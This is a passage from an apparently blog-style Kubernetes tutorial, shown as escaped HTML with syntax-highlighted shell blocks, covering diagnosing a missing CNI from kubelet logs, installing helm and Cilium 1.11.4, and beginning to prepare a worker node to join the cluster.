style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e journalctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -flu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e begin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e at\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 2022-04-17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 19:22:19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AST.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15.951350\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20.952148\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI. The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful. In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e False\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:37\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:43:07\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KubeletNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e container\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ready:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NetworkReady=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e message:Network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e returns\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cni\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e initialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get our CNI installed, we will be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I will walk you through it anyways. I do recommend checking out their documentation so you\nare familiar with it. We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-transport-https\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can install cilium! It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are installing. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e search\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -l\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \tCHART\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tAPP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-system\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --version\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.11.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 24m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e. I am not going to talk about the commands a second time but\nI will re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan 